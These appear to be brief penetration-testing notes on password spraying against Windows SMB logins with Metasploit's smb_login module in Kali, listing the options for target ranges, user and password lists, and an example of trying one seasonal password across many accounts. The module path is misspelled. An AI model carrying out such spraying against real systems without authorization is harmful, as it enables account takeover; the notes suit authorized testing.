Test Credential Spraying in Kali

msfconsole

use auxillary/smb/smb_login

set SMBDomain
set SMBUser
set SMBPass
set RHOSTS      <== cidr is an option
set USER_FILE   <== optional list of users
set USERPASS_FILE <== optional list of passwords

run

example usages


setting SMBPass = Summer2017 and trying a bunch of user ids